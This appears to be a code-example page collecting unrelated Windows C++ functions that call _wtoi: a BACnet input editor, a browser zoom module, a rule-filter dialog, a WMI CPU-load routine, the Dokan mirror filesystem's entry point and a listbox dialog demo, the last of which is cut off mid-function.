LRESULT CBacnetInput::Fresh_Input_Item(WPARAM wParam,LPARAM lParam)
{
    int cmp_ret ;//compare if match it will 0;
    int Changed_Item = (int)wParam;
    int Changed_SubItem = (int)lParam;

    memcpy_s(&m_temp_Input_data[Changed_Item],sizeof(Str_in_point),&m_Input_data.at(Changed_Item),sizeof(Str_in_point));

    CString temp_task_info;
    CString New_CString =  m_input_list.GetItemText(Changed_Item,Changed_SubItem);
    CString cstemp_value;
    if(Changed_SubItem == INPUT_LABLE)
    {
        CString cs_temp = m_input_list.GetItemText(Changed_Item,Changed_SubItem);
        if(cs_temp.GetLength()>= STR_IN_LABEL)	//长度不能大于结构体定义的长度;
        {
            MessageBox(_T("Length can not higher than 8"),_T("Warning"));
            PostMessage(WM_REFRESH_BAC_INPUT_LIST,NULL,NULL);
            return 0;
        }
        char cTemp1[255];
        memset(cTemp1,0,255);
        WideCharToMultiByte( CP_ACP, 0, cs_temp.GetBuffer(), -1, cTemp1, 255, NULL, NULL );
        memcpy_s(m_Input_data.at(Changed_Item).label,STR_IN_LABEL,cTemp1,STR_IN_LABEL);
    }

    if(Changed_SubItem == INPUT_FULL_LABLE)
    {
        CString cs_temp = m_input_list.GetItemText(Changed_Item,Changed_SubItem);
        if(cs_temp.GetLength()>= STR_IN_DESCRIPTION_LENGTH)	//长度不能大于结构体定义的长度;
        {
            MessageBox(_T("Length can not higher than 20"),_T("Warning"));
            PostMessage(WM_REFRESH_BAC_INPUT_LIST,NULL,NULL);
            return 0;
        }

        char cTemp1[255];
        memset(cTemp1,0,255);
        WideCharToMultiByte( CP_ACP, 0, cs_temp.GetBuffer(), -1, cTemp1, 255, NULL, NULL );
        memcpy_s(m_Input_data.at(Changed_Item).description,STR_IN_DESCRIPTION_LENGTH,cTemp1,STR_IN_DESCRIPTION_LENGTH);
    }


    if(Changed_SubItem == INPUT_AUTO_MANUAL)
    {
        CString temp_cs = m_input_list.GetItemText(Changed_Item,Changed_SubItem);
        if(temp_cs.CompareNoCase(_T("Auto"))==0)
        {
            m_input_list.SetCellEnabled(Changed_Item,INPUT_VALUE,0);
            m_Input_data.at(Changed_Item).auto_manual = BAC_AUTO ;
        }
        else
        {
            m_input_list.SetCellEnabled(Changed_Item,INPUT_VALUE,1);
            m_Input_data.at(Changed_Item).auto_manual = BAC_MANUAL ;
        }
    }

    if(Changed_SubItem == INPUT_VALUE)
    {
        CString temp_cs = m_input_list.GetItemText(Changed_Item,Changed_SubItem);

        int temp_int = (int)(_wtof(temp_cs) * 1000);
        //int temp_int = _wtoi(temp_cs);
        m_Input_data.at(Changed_Item).value = temp_int;
    }

    if(Changed_SubItem == INPUT_RANGE)
    {
        CString temp_cs = m_input_list.GetItemText(Changed_Item,Changed_SubItem);
        BacnetRange dlg;
        if(temp_cs.CompareNoCase(Units_Type[UNITS_TYPE_ANALOG])==0)
        {
            bac_ranges_type = INPUT_RANGE_ANALOG_TYPE;
            dlg.DoModal();
            if(range_cancel)
            {
                PostMessage(WM_REFRESH_BAC_INPUT_LIST,Changed_Item,REFRESH_ON_ITEM);//这里调用 刷新线程重新刷新会方便一点;
                return 0;
            }
            m_Input_data.at(Changed_Item).digital_analog =  BAC_UNITS_ANALOG;
            m_Input_data.at(Changed_Item).range =  bac_range_number_choose;
            m_input_list.SetItemText(Changed_Item,INPUT_RANGE,Input_Analog_Units_Array[bac_range_number_choose]);
            m_input_list.SetItemText(Changed_Item,INPUT_UNITE,Input_List_Analog_Units[bac_range_number_choose]);

            cstemp_value.Format(_T("%d"),m_Input_data.at(Changed_Item).calibration);
            m_input_list.SetItemText(Changed_Item,INPUT_CAL,cstemp_value);


            m_input_list.SetCellEnabled(Changed_Item,INPUT_CAL,1);
            m_input_list.SetCellEnabled(Changed_Item,INPUT_UNITE,1);
            //m_input_list.SetItemText(Changed_Item,OUTPUT_100_PERSENT,_T("10"));
            //m_input_list.SetCellEnabled(Changed_Item,OUTPUT_100_PERSENT,1);

            CString cstemp_value;
            float temp_float_value;
            temp_float_value = ((float)m_Input_data.at(Changed_Item).value) / 1000;
            cstemp_value.Format(_T("%.2f"),temp_float_value);
            m_input_list.SetItemText(Changed_Item,INPUT_VALUE,cstemp_value);

            //cstemp_value.Format(_T("%d"),m_Input_data.at(Changed_Item).value);
            //m_input_list.SetItemText(Changed_Item,INPUT_VALUE,cstemp_value);
        }
        else if(temp_cs.CompareNoCase(Units_Type[UNITS_TYPE_DIGITAL])==0)
        {
            bac_range_number_choose = m_Input_data.at(Changed_Item).range;
            bac_ranges_type = INPUT_RANGE_DIGITAL_TYPE;
            dlg.DoModal();
            if(range_cancel)
            {
                PostMessage(WM_REFRESH_BAC_INPUT_LIST,Changed_Item,REFRESH_ON_ITEM);//这里调用 刷新线程重新刷新会方便一点;
                return 0;
            }
            m_Input_data.at(Changed_Item).digital_analog =  BAC_UNITS_DIGITAL;
            m_Input_data.at(Changed_Item).range =  bac_range_number_choose;
            //m_input_list.SetItemText(Changed_Item,INPUT_RANGE,INPUT_Digital_Units_Show[bac_range_number_choose]);

            m_input_list.SetItemText(Changed_Item,INPUT_CAL,_T(""));
            m_input_list.SetCellEnabled(Changed_Item,INPUT_CAL,0);
            m_input_list.SetItemText(Changed_Item,INPUT_UNITE,_T(""));
            m_input_list.SetCellEnabled(Changed_Item,INPUT_UNITE,0);

            CString temp1;
            CStringArray temparray;
            temp1 = Digital_Units_Array[bac_range_number_choose];//22 is the sizeof the array
            SplitCStringA(temparray,temp1,_T("/"));

            if(m_Input_data.at(Changed_Item).control == 1)
            {
                if((temparray.GetSize()==2)&&(!temparray.GetAt(1).IsEmpty()))
                {
                    m_input_list.SetItemText(Changed_Item,INPUT_VALUE,temparray.GetAt(1));
                }
            }
            else
            {
                if((temparray.GetSize()==2)&&(!temparray.GetAt(0).IsEmpty()))
                {
                    m_input_list.SetItemText(Changed_Item,INPUT_VALUE,temparray.GetAt(0));
                }
            }
            m_input_list.SetItemText(Changed_Item,INPUT_RANGE,temp1);


        }
        else if(temp_cs.CompareNoCase(Units_Type[UNITS_TYPE_CUSTOM])==0)
        {
            bac_ranges_type = OUTPUT_RANGE_CUSTOM_DIG_TYPE;
            //dlg.DoModal();
        }
        else
        {
            PostMessage(WM_REFRESH_BAC_INPUT_LIST,Changed_Item,REFRESH_ON_ITEM);//这里调用 刷新线程重新刷新会方便一点;
            //m_input_list.SetItemText(Changed_Item,INPUT_RANGE,temp_cs);
        }
    }


    //if(Changed_SubItem==INPUT_RANGE)
    //{
    //	CString temp_cs = m_input_list.GetItemText(Changed_Item,Changed_SubItem);
    //	if(temp_cs.CompareNoCase(_T("Not Used"))==0)
    //	{
    //		m_input_list.SetItemText(Changed_Item,INPUT_UNITE,Input_Unit[_unused]);
    //	}
    //	else if(temp_cs.CompareNoCase(_T("10K(-40->120)"))==0)
    //	{
    //		ListCtrlEx::CStrList strlist;
    //		strlist.clear();
    //		strlist.push_back(Input_Unit[degC]);
    //		//strlist.push_back(Input_Unit[degF]);
    //		m_input_list.SetCellStringList(Changed_Item, INPUT_UNITE, strlist);
    //		m_input_list.SetItemText(Changed_Item,INPUT_UNITE,Input_Unit[degC]);
    //	}
    //	else if(temp_cs.CompareNoCase(_T("I 4->20ma"))==0)
    //	{
    //		ListCtrlEx::CStrList strlist;
    //		strlist.clear();
    //		TRACE(Input_Unit[ma]);
    //		strlist.push_back(Input_Unit[ma]);
    //		m_input_list.SetCellStringList(Changed_Item, INPUT_UNITE, strlist);
    //		m_input_list.SetItemText(Changed_Item,INPUT_UNITE,Input_Unit[ma]);
    //	}
    //	else if(temp_cs.CompareNoCase(_T("V 0->10V"))==0)
    //	{
    //		ListCtrlEx::CStrList strlist;
    //		strlist.clear();
    //		TRACE(Input_Unit[Volts]);
    //		strlist.push_back(Input_Unit[Volts]);
    //		m_input_list.SetCellStringList(Changed_Item, INPUT_UNITE, strlist);
    //		m_input_list.SetItemText(Changed_Item,INPUT_UNITE,Input_Unit[Volts]);
    //	}
    //	else if(temp_cs.CompareNoCase(_T("V 0->5V"))==0)
    //	{
    //		ListCtrlEx::CStrList strlist;
    //		strlist.clear();
    //		TRACE(Input_Unit[Volts]);
    //		strlist.push_back(Input_Unit[Volts]);
    //		m_input_list.SetCellStringList(Changed_Item, INPUT_UNITE, strlist);
    //		m_input_list.SetItemText(Changed_Item,INPUT_UNITE,Input_Unit[Volts]);
    //	}
    //	else if(temp_cs.CompareNoCase(_T("V 0->24AC"))==0)
    //	{
    //		ListCtrlEx::CStrList strlist;
    //		strlist.clear();
    //		strlist.push_back(_T("ON/OFF"));
    //		m_input_list.SetCellStringList(Changed_Item, INPUT_UNITE, strlist);
    //		m_input_list.SetItemText(Changed_Item,INPUT_UNITE,_T("ON/OFF"));
    //	}
    //	else if(temp_cs.CompareNoCase(_T("TST Normal"))==0)
    //	{
    //		ListCtrlEx::CStrList strlist;
    //		strlist.clear();
    //		strlist.push_back(_T("ON/OFF"));
    //		m_input_list.SetCellStringList(Changed_Item, INPUT_UNITE, strlist);
    //		m_input_list.SetItemText(Changed_Item,INPUT_UNITE,_T("ON/OFF"));
    //	}
    //}

    if(Changed_SubItem==INPUT_CAL)
    {
        CString cs_temp=m_input_list.GetItemText(Changed_Item,INPUT_CAL);
        int cal_value = _wtoi(cs_temp);
        m_Input_data.at(Changed_Item).calibration = cal_value;
    }
    else if(Changed_SubItem==INPUT_FITLER)
    {
        CString cs_temp=m_input_list.GetItemText(Changed_Item,INPUT_FITLER);
        int  temp2 = _wtoi(cs_temp);
        m_Input_data.at(Changed_Item).filter = (int8_t)(log((double)temp2)/log((double)2));
    }
    else if(Changed_SubItem==INPUT_DECOM)
    {
        CString cs_temp = m_input_list.GetItemText(Changed_Item,INPUT_DECOM);
        int dec_index=-1;
        for (int m=0; m<(int)sizeof(Decom_Array)/sizeof(Decom_Array[0]); m++)
        {
            if(cs_temp.CompareNoCase(Decom_Array[m])==0)
            {
                dec_index = m;
                break;
            }
        }
        m_Input_data.at(Changed_Item).decom = dec_index;
    }

    cmp_ret = memcmp(&m_temp_Input_data[Changed_Item],&m_Input_data.at(Changed_Item),sizeof(Str_in_point));
    if(cmp_ret!=0)
    {
        m_input_list.SetItemBkColor(Changed_Item,Changed_SubItem,LIST_ITEM_CHANGED_BKCOLOR);
        temp_task_info.Format(_T("Write Input List Item%d .Changed to \"%s\" "),Changed_Item + 1,New_CString);
        Post_Write_Message(g_bac_instance,WRITEINPUT_T3000,Changed_Item,Changed_Item,sizeof(Str_in_point),m_input_dlg_hwnd ,temp_task_info,Changed_Item,Changed_SubItem);
    }
    //m_input_list.Invalidate();
    return 0;
}
Example #2
0
/**
* \author	Darryn Campbell (DCC, JRQ768)
* \date		November 2009
*/
BOOL CZoomModule::MetaProc(PBMetaStruct *pbMetaStructure, PPBSTRUCT pPBStructure, void *pParam)
{
	INSTANCE_DATA *pData = (INSTANCE_DATA*) pParam;

	if (cmp (pbMetaStructure->lpParameter, L"Text"))
	{

		
		// check if the value is float because JS sometimes intereprets numbers as doubles even though they don't have a decimal point
		if ( isFloat(pbMetaStructure->lpValue))
		{
			int iTextZoom = _wtoi(pbMetaStructure->lpValue);
			if ((iTextZoom >= 0) && (iTextZoom < 5))
			{
				return m_pPBCoreStructure->pBrowserSetTxtZoom(pData->instanceID, iTextZoom, m_szModName);
			}
			else 
			{
				Log(PB_LOG_ERROR, L"Text zoom value Provided to Zoom Module ot ouf range. Valid values are 0-4",
					_T(__FUNCTION__), __LINE__);
				return FALSE;	
			}
		
		}
		else
		{
			// no need to log error, it will be logged at later point
			return FALSE;
		}

	}
	else if (cmp(pbMetaStructure->lpParameter, L"Page"))
	{
		if ( isFloat(pbMetaStructure->lpValue))
		{
			
			int iLen = wcslen(pbMetaStructure->lpValue);
			//convert to char*
			char* pNum = new char[iLen+1];
			if(pNum){
				wcstombs(pNum,pbMetaStructure->lpValue,iLen);
				double iTextZoom = atof(pNum);
				delete [] pNum;
				return m_pPBCoreStructure->pBrowserSetPageZoom(pData->instanceID, iTextZoom, m_szModName);
			}
			else
			{
				Log(PB_LOG_ERROR, L"Could not allocate enough memory",
			_T(__FUNCTION__), __LINE__);
				return false;
			}
			
			
			
		}
		else
		{
			// no need to log error, it will be logged at later point
			return FALSE;
		}
	}
	else
	{
		// Unrecognised tag
		Log(PB_LOG_WARNING, L"Unrecognised Meta Tag Provided to Zoom Module",
			_T(__FUNCTION__), __LINE__);
		return FALSE;
	}

	return TRUE;
}
Example #3
0
// 更新过滤数据
BOOL CDlgCheckRulePara::UpdateFilterControlByCheckRule(const CheckRule &checkRule)
{
	CStringArray arrMdlFilterCheckRule;//模型筛选
	CStringToCStringArray(checkRule.strRuleName, arrMdlFilterCheckRule);
	int nArrSize = (int)arrMdlFilterCheckRule.GetSize();
	if (nArrSize < 3 || arrMdlFilterCheckRule.GetAt(0).CompareNoCase(L"filter") != 0)
		return FALSE;

	m_cmbFilterCategory.ResetContent();
	m_cmbFilterCategory.AddString(L"模型名");
	m_cmbFilterCategory.AddString(L"公用名称");
	m_cmbFilterCategory.AddString(L"参数");

	m_cmbFilterParaName.ResetContent();

	int ntag = -1;
	CString strCatagory = arrMdlFilterCheckRule.GetAt(1);
	if (strCatagory.CompareNoCase(L"name") == 0)
	{
		ntag = 0;
		m_cmbFilterParaName.EnableWindow(FALSE);
	}
	else if (strCatagory.CompareNoCase(L"common_name") == 0)
	{
		ntag = 1;
		m_cmbFilterParaName.EnableWindow(FALSE);
	}
	else if (strCatagory.CompareNoCase(L"parameter") == 0)
	{
		ntag = 2;
		m_cmbFilterParaName.EnableWindow(TRUE);
		m_strParaParameter = arrMdlFilterCheckRule.GetAt(2);//参数名静态变量赋值
	}
	else
		return TRUE;

	m_cmbFilterCategory.SetCurSel(ntag);

	if (ntag == 2)
	{
		CString strParaContent = arrMdlFilterCheckRule.GetAt(2);
		int nFind = -1;
		for (int i = 0; i < theApp.m_arrMdlParam.GetSize(); i++)
		{
			m_cmbFilterParaName.AddString(theApp.m_arrMdlParam[i]);
			if (strParaContent.CompareNoCase(theApp.m_arrMdlParam[i]) == 0)
			{
				nFind = i;
			}
		}
		if (nFind >= 0)
			m_cmbFilterParaName.SetCurSel(nFind);
		else
			m_cmbFilterParaName.SetWindowText(strParaContent);
	}

	if (arrMdlFilterCheckRule.GetSize() == 3)
		m_strFilterContent = arrMdlFilterCheckRule.GetAt(2);
	else
		m_strFilterContent = arrMdlFilterCheckRule.GetAt(3);

	if (arrMdlFilterCheckRule.GetSize() > 4)
		m_bMdlFilter = _wtoi(arrMdlFilterCheckRule.GetAt(4));
	if (m_bMdlFilter)
	{
		m_cmbFilterCategory.EnableWindow(TRUE);
		int nIndex = m_cmbFilterCategory.GetCurSel();
		if (nIndex == 0)
			m_cmbFilterParaName.EnableWindow(FALSE);
		else if (nIndex == 1)
			m_cmbFilterParaName.EnableWindow(FALSE);
		else
			m_cmbFilterParaName.EnableWindow(TRUE);
		GetDlgItem(IDC_EDIT_MDL_PARA_CATA_CONTENT)->EnableWindow(TRUE);
	}
	else
	{
		m_cmbFilterCategory.EnableWindow(FALSE);
		m_cmbFilterParaName.EnableWindow(FALSE);
		GetDlgItem(IDC_EDIT_MDL_PARA_CATA_CONTENT)->EnableWindow(FALSE);
	}

	UpdateData(FALSE);
	return TRUE;
}
Example #4
0
int wmi_get_cpu_comp_user_sys(float* pcpu_load_comp, float* pcpu_load_user, float* pcpu_load_sys) {

	assert(_initialized);
	assert(pcpu_load_comp);
	assert(pcpu_load_user);
	assert(pcpu_load_sys);

	float& cpu_load_comp = *pcpu_load_comp;
	float& cpu_load_user = *pcpu_load_user;
	float& cpu_load_sys = *pcpu_load_sys;

	IEnumWbemClassObject* enumerator = 0;
	IWbemClassObject* object = 0;

	cpu_load_comp = 0;
	cpu_load_user = 0;

	bool user_logged = false;

	long long current_process_id = _current_process_id;

	enumerator = request(
		bstr_t("SELECT Name, IDProcess, PercentProcessorTime FROM Win32_PerfFormattedData_PerfProc_Process WHERE PercentUserTime > 0")
	);
		
	VARIANT var;
	VARIANT var_name;
	VARIANT user;

	ULONG uReturn;
	for(;;) {
		HRESULT result = enumerator->Next(WBEM_INFINITE, 1, &object, &uReturn);

		if(0 == uReturn) {
			break;
		}
			
		VariantInit(&var);
		// Get Process ID of object - Required for Get Owner Input
		result = object->Get(L"IDProcess", 0, &var, NULL, NULL );
		long long process_id = var.iVal;

		// Get total cpu load
		VariantInit(&var);
		result = object->Get(L"PercentProcessorTime", 0, &var, NULL, NULL );
		long long process_cpu_load = _wtoi(var.bstrVal);

		//std::wcout << "process_cpu_load: " << process_cpu_load << " var.bstrVal : " << var.bstrVal << " app name: " << var_name.bstrVal << std::endl;

		//std::cout << "app name: " << wtoa(var_name.bstrVal) << std::endl;
		//std::cout << "process_cpu_load: " << process_cpu_load << std::endl;
		if (process_id == 0) {

			// Process id 0 = System Idle Process
			continue;

		} else if (process_id == current_process_id) {

			//std::cout << "COMP test:" << process_cpu_load << std::endl;
			cpu_load_comp = (float)process_cpu_load;

		} else if(user_proc_set.find(process_id) != user_proc_set.end()) {

			//std::cout << "user fnd:" << process_id << '\n';
			//Print(std::wcout, var_name);
			cpu_load_user += (float)process_cpu_load;

		} else if(system_proc_set.find(process_id) != system_proc_set.end()) {

			//std::cout << "sys Fnd:" << process_id << '\n';
			//Print(std::wcout, var_name);
			cpu_load_sys += (float)process_cpu_load;

		} else {
			//std::cout << "TEST: " << process_id << '\n';
					// Declare
			IWbemClassObject* pwcrGetOwnerIn = NULL;
			IWbemClassObject* pwcrGetOwnerOut = NULL;
			IWbemClassObject* pOutParams = NULL;
			result = services->ExecMethod(bstr_t("Win32_Process.Handle=") + bstr_t(process_id), bstr_t(L"GetOwner"), 0, NULL, pwcrGetOwnerIn, &pOutParams, NULL);
				
			VariantInit(&user);
			if (pOutParams) {
				result = pOutParams->Get(L"User", 0, &user, 0, 0);
				pOutParams->Release();
			}
			//std::cout << "result: " << result << std::endl;
			if (SUCCEEDED(result) && user.vt == VT_BSTR) {
				const bstr_t& process_owner = user.bstrVal;
				if (process_owner.length() && process_owner == _username) { 
					//std::cout << "user Insrt: " << process_id << " <_> " << process_cpu_load << '\n';
					//Print(std::wcout, var_name);
					user_proc_set.insert(process_id);
					cpu_load_user += (float)process_cpu_load;
				}
			} else {

				// Get process name
				{
					result = object->Get(L"Name", 0, &var_name, NULL, NULL);
					//std::cout << "Name: " << wtoa(var_name.bstrVal) << std::endl;
				}

				if (bstr_t(var_name.bstrVal) != bstr_t("_Total")) {
					//std::cout << "OTHER test: " << process_cpu_load << std::endl;
					//std::cout << "system Insrt:" << process_id << " <_> " << process_cpu_load << '\n';
					//Print(std::wcout, var_name);
					system_proc_set.insert(process_id);
					cpu_load_sys += (float)process_cpu_load;
				}
			}

			//pOutParams->Release();
		}

		object->Release();
	} // for(;;)


	VariantClear(&var);
    VariantClear(&var_name);
	VariantClear(&user);

	// Normalize value
	float total_cpu_load = cpu_load_comp + cpu_load_user + cpu_load_sys;
	if (total_cpu_load > 100) {
		cpu_load_comp = (cpu_load_comp / total_cpu_load) * 100;
		cpu_load_user = (cpu_load_user / total_cpu_load) * 100;
		cpu_load_sys = (cpu_load_sys / total_cpu_load) * 100;
	}
	//std::cout << "cpu_load_comp f: " << cpu_load_comp << std::endl;
	//std::cout << "cpu_load_user f: " << cpu_load_user << std::endl;
	//std::cout << "cpu_load_sys f: " << cpu_load_sys << std::endl;

	if (enumerator)
		enumerator->Release();

	return 0;	
}
Example #5
0
int __cdecl
wmain(ULONG argc, PWCHAR argv[])
{
	int status;
	ULONG command;
	PDOKAN_OPERATIONS dokanOperations =
			(PDOKAN_OPERATIONS)malloc(sizeof(DOKAN_OPERATIONS));
	if (dokanOperations == NULL) {
		return -1;
	}
	PDOKAN_OPTIONS dokanOptions =
			(PDOKAN_OPTIONS)malloc(sizeof(DOKAN_OPTIONS));
	if (dokanOptions == NULL) {
		free(dokanOperations);
		return -1;
	}

	if (argc < 5) {
		fprintf(stderr, "mirror.exe\n"
			"  /r RootDirectory (ex. /r c:\\test)\n"
			"  /l DriveLetter (ex. /l m)\n"
			"  /t ThreadCount (ex. /t 5)\n"
			"  /d (enable debug output)\n"
			"  /s (use stderr for output)\n"
			"  /n (use network drive)\n"
			"  /m (use removable drive)\n");
		return -1;
	}

	g_DebugMode = FALSE;
	g_UseStdErr = FALSE;

	ZeroMemory(dokanOptions, sizeof(DOKAN_OPTIONS));
	dokanOptions->Version = DOKAN_VERSION;
	dokanOptions->ThreadCount = 0; // use default

	for (command = 1; command < argc; command++) {
		switch (towlower(argv[command][1])) {
		case L'r':
			command++;
			wcscpy_s(RootDirectory, sizeof(RootDirectory)/sizeof(WCHAR), argv[command]);
			DbgPrint(L"RootDirectory: %ls\n", RootDirectory);
			break;
		case L'l':
			command++;
			wcscpy_s(MountPoint, sizeof(MountPoint)/sizeof(WCHAR), argv[command]);
			dokanOptions->MountPoint = MountPoint;
			break;
		case L't':
			command++;
			dokanOptions->ThreadCount = (USHORT)_wtoi(argv[command]);
			break;
		case L'd':
			g_DebugMode = TRUE;
			break;
		case L's':
			g_UseStdErr = TRUE;
			break;
		case L'n':
			dokanOptions->Options |= DOKAN_OPTION_NETWORK;
			break;
		case L'm':
			dokanOptions->Options |= DOKAN_OPTION_REMOVABLE;
			break;
		default:
			fwprintf(stderr, L"unknown command: %s\n", argv[command]);
			return -1;
		}
	}

	if (g_DebugMode) {
		dokanOptions->Options |= DOKAN_OPTION_DEBUG;
	}
	if (g_UseStdErr) {
		dokanOptions->Options |= DOKAN_OPTION_STDERR;
	}

	dokanOptions->Options |= DOKAN_OPTION_KEEP_ALIVE;

	ZeroMemory(dokanOperations, sizeof(DOKAN_OPERATIONS));
	dokanOperations->CreateFile = MirrorCreateFile;
	dokanOperations->OpenDirectory = MirrorOpenDirectory;
	dokanOperations->CreateDirectory = MirrorCreateDirectory;
	dokanOperations->Cleanup = MirrorCleanup;
	dokanOperations->CloseFile = MirrorCloseFile;
	dokanOperations->ReadFile = MirrorReadFile;
	dokanOperations->WriteFile = MirrorWriteFile;
	dokanOperations->FlushFileBuffers = MirrorFlushFileBuffers;
	dokanOperations->GetFileInformation = MirrorGetFileInformation;
	dokanOperations->FindFiles = MirrorFindFiles;
	dokanOperations->FindFilesWithPattern = NULL;
	dokanOperations->SetFileAttributes = MirrorSetFileAttributes;
	dokanOperations->SetFileTime = MirrorSetFileTime;
	dokanOperations->DeleteFile = MirrorDeleteFile;
	dokanOperations->DeleteDirectory = MirrorDeleteDirectory;
	dokanOperations->MoveFile = MirrorMoveFile;
	dokanOperations->SetEndOfFile = MirrorSetEndOfFile;
	dokanOperations->SetAllocationSize = MirrorSetAllocationSize;	
	dokanOperations->LockFile = MirrorLockFile;
	dokanOperations->UnlockFile = MirrorUnlockFile;
	dokanOperations->GetFileSecurity = MirrorGetFileSecurity;
	dokanOperations->SetFileSecurity = MirrorSetFileSecurity;
	dokanOperations->GetDiskFreeSpace = NULL;
	dokanOperations->GetVolumeInformation = MirrorGetVolumeInformation;
	dokanOperations->Unmount = MirrorUnmount;

	status = DokanMain(dokanOptions, dokanOperations);
	switch (status) {
	case DOKAN_SUCCESS:
		fprintf(stderr, "Success\n");
		break;
	case DOKAN_ERROR:
		fprintf(stderr, "Error\n");
		break;
	case DOKAN_DRIVE_LETTER_ERROR:
		fprintf(stderr, "Bad Drive letter\n");
		break;
	case DOKAN_DRIVER_INSTALL_ERROR:
		fprintf(stderr, "Can't install driver\n");
		break;
	case DOKAN_START_ERROR:
		fprintf(stderr, "Driver something wrong\n");
		break;
	case DOKAN_MOUNT_ERROR:
		fprintf(stderr, "Can't assign a drive letter\n");
		break;
	case DOKAN_MOUNT_POINT_ERROR:
		fprintf(stderr, "Mount point error\n");
		break;
	default:
		fprintf(stderr, "Unknown error: %d\n", status);
		break;
	}

	free(dokanOptions);
	free(dokanOperations);
	return 0;
}
Example #6
0
INT_PTR CALLBACK DlgProc(HWND hDlg, UINT msg, WPARAM wParam, LPARAM lParam)
{
	switch (msg)
	{		
	case WM_INITDIALOG:
		hEditString = GetDlgItem(hDlg, IDC_EDTSTRING);
		hListBoxSingle = GetDlgItem(hDlg, IDC_LISTSINGLE);
		return TRUE;
	case WM_COMMAND:		
		switch (LOWORD(wParam))
		{
		case IDC_LISTSINGLE:
		{
			switch (HIWORD(wParam))
			{
				case LBN_DBLCLK: // уведомление двойной клик в списке
				{
					TCHAR str[50];
					int idx = SendDlgItemMessage(hDlg, IDC_LISTSINGLE, LB_GETCURSEL, NULL, NULL);
					if (idx != LB_ERR)
					{
						wsprintf(str, TEXT("Выбран элемент с индексом %d"), idx);
						MessageBox(NULL, str, TEXT("Выбран"), MB_OK);
					}
				}
				break;
			}
		}
			break;
		case IDC_BTNADDSTRING:
		{
			TCHAR str[50];
			GetWindowText(hEditString, str, 49);
			//SendDlgItemMessage(hDlg, IDC_LISTSINGLE, LB_ADDSTRING, NULL, LPARAM(str));
			ListBox_AddString(hListBoxSingle, str);
			SendDlgItemMessage(hDlg, IDC_LISTMULTIPLE, LB_ADDSTRING, NULL, LPARAM(str));
		}
			break;
		case IDC_BTNFINDSTRING:
		{
			TCHAR str[50];
			GetWindowText(hEditString, str, 49);
			int idx = SendDlgItemMessage(hDlg, IDC_LISTSINGLE, LB_FINDSTRING, -1, LPARAM(str));
			if (idx != LB_ERR)
			{
				wsprintf(str, TEXT("Найден элемент с индексом %d"), idx);
				MessageBox(NULL, str, TEXT("Найден"), MB_OK);
			}
			else
			{
				MessageBox(NULL, TEXT("Элемент не найден"), TEXT("Не найден"), MB_OK);
			}
		}
			break;
		case IDC_BTNGETCURSEL:
		{
			TCHAR str[50];
			int idx = SendDlgItemMessage(hDlg, IDC_LISTSINGLE, LB_GETCURSEL, NULL, NULL);
			if (idx != LB_ERR)
			{
				wsprintf(str, TEXT("Выбран элемент с индексом %d"), idx);
				MessageBox(NULL, str, TEXT("Выбран"), MB_OK);
			}
			else
			{
				MessageBox(NULL, TEXT("Ни один элемент не выбран"), TEXT("Не выбарн"), MB_OK);
			}
		}
			break;
		case IDC_BTNGETSELCOUNT:
		{
			TCHAR str[50];
			int idx = SendDlgItemMessage(hDlg, IDC_LISTMULTIPLE, LB_GETSELCOUNT, NULL, NULL);
			if (idx != LB_ERR)
			{
				wsprintf(str, TEXT("Выбрано элементов %d"), idx);
				MessageBox(NULL, str, TEXT("Выбран"), MB_OK);
			}
			else
			{
				MessageBox(NULL, TEXT("Ни один элемент не выбран"), TEXT("Не выбарн"), MB_OK);
			}
		}
			break;
		case IDC_BTNGETSELITEMS:
		{
			TCHAR str[256];
			int count = SendDlgItemMessage(hDlg, IDC_LISTMULTIPLE, LB_GETSELCOUNT, NULL, NULL);
			if (count != LB_ERR)
			{
				std::unique_ptr<int> indexes(new int[count]);
				SendDlgItemMessage(hDlg, IDC_LISTMULTIPLE, LB_GETSELITEMS, count, LPARAM(indexes.get()));							
				for (int i = 0; i < count; i++)
				{
					wsprintf(str, TEXT("Выбран элемент с индексом %d"), indexes.get()[i]);
					MessageBox(NULL, str, TEXT("Выбран"), MB_OK);
				}
				
			}
			else
			{
				MessageBox(NULL, TEXT("Ни один элемент не выбран"), TEXT("Не выбарн"), MB_OK);
			}
		}
		break;
		case IDC_BTNINSERTSTRING:
		{
			TCHAR str[50];
			GetWindowText(hEditString, str, 49);
			int idx = SendDlgItemMessage(hDlg, IDC_LISTSINGLE, LB_GETCURSEL, NULL, NULL);
			if (idx != LB_ERR)
			{
				SendDlgItemMessage(hDlg, IDC_LISTSINGLE, LB_INSERTSTRING, idx + 1, LPARAM(str));
			}
			else
			{
				SendDlgItemMessage(hDlg, IDC_LISTSINGLE, LB_ADDSTRING, NULL, LPARAM(str));
			}
		}
			break;
		case IDC_BTNSELECTSTRING:
		{
			TCHAR str[50];
			GetWindowText(hEditString, str, 49);
			int idx = SendDlgItemMessage(hDlg, IDC_LISTSINGLE, LB_SELECTSTRING, -1, LPARAM(str));
			if (idx != LB_ERR)
			{
				wsprintf(str, TEXT("Найден элемент с индексом %d"), idx);
				//MessageBox(NULL, str, TEXT("Найден"), MB_OK);
			}
			else
			{
				MessageBox(NULL, TEXT("Элемент не найден"), TEXT("Не найден"), MB_OK);
			}
		}
			break;
		case IDC_BTNSETCURSEL:
		{
			TCHAR str[50];
			SendDlgItemMessage(hDlg, IDC_EDTNUMBER, WM_GETTEXT, 50, LPARAM(str));
			int idx = _wtoi(str);
			SendDlgItemMessage(hDlg, IDC_LISTMULTIPLE, LB_SETSEL, TRUE, idx);			
		}
			break;
		case IDC_BTNGETTEXT:
		{			
			int idx = SendDlgItemMessage(hDlg, IDC_LISTSINGLE, LB_GETCURSEL, NULL, NULL);
			if (idx != LB_ERR)
			{
				int count = SendDlgItemMessage(hDlg, IDC_LISTSINGLE, LB_GETTEXTLEN, idx, NULL);
				std::unique_ptr<TCHAR> str(new TCHAR[count + 1]);
				SendDlgItemMessage(hDlg, IDC_LISTSINGLE, LB_GETTEXT, idx, LPARAM(str.get()));
				MessageBox(NULL, str.get(), TEXT("Выбран текст"), MB_OK);
			}
		}
			break;
		case IDC_BTNDELETESTRING:
		{
			int idx = SendDlgItemMessage(hDlg, IDC_LISTSINGLE, LB_GETCURSEL, NULL, NULL);
			if (idx != LB_ERR)
			{
				SendDlgItemMessage(hDlg, IDC_LISTSINGLE, LB_DELETESTRING, idx, NULL);
				if (idx)
				{
					SendDlgItemMessage(hDlg, IDC_LISTSINGLE, LB_SETCURSEL, idx - 1, NULL);
				}
			}
		}
			break;
		case IDC_BTNRESETCONTENT:
		{
			SendDlgItemMessage(hDlg, IDC_LISTSINGLE, LB_RESETCONTENT, NULL, NULL);
